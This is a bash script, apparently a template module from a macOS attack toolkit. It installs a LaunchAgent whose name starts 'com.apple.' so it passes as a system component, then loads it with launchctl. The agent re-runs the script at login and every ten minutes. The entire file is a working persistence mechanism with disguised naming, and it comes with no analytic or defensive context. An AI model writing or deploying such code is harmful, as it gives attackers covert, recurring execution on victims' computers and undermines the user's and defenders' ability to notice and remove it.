bash_bamf_3

#!/bin/bash
echo '<plist version="1.0">
<dict>
<key>Label</key>
<string>__LABEL__</string>
<key>ProgramArguments</key>
<array>
<string>/bin/sh</string>
<string>__SELF__</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>600</integer>
<key>AbandonProcessGroup</key>
<true/>
</dict>
</plist>' > ~/Library/LaunchAgents/com.apple.__FNAME__
chmod 600 ~/Library/LaunchAgents/com.apple.__FNAME__
launchctl load ~/Library/LaunchAgents/com.apple.__FNAME__
exit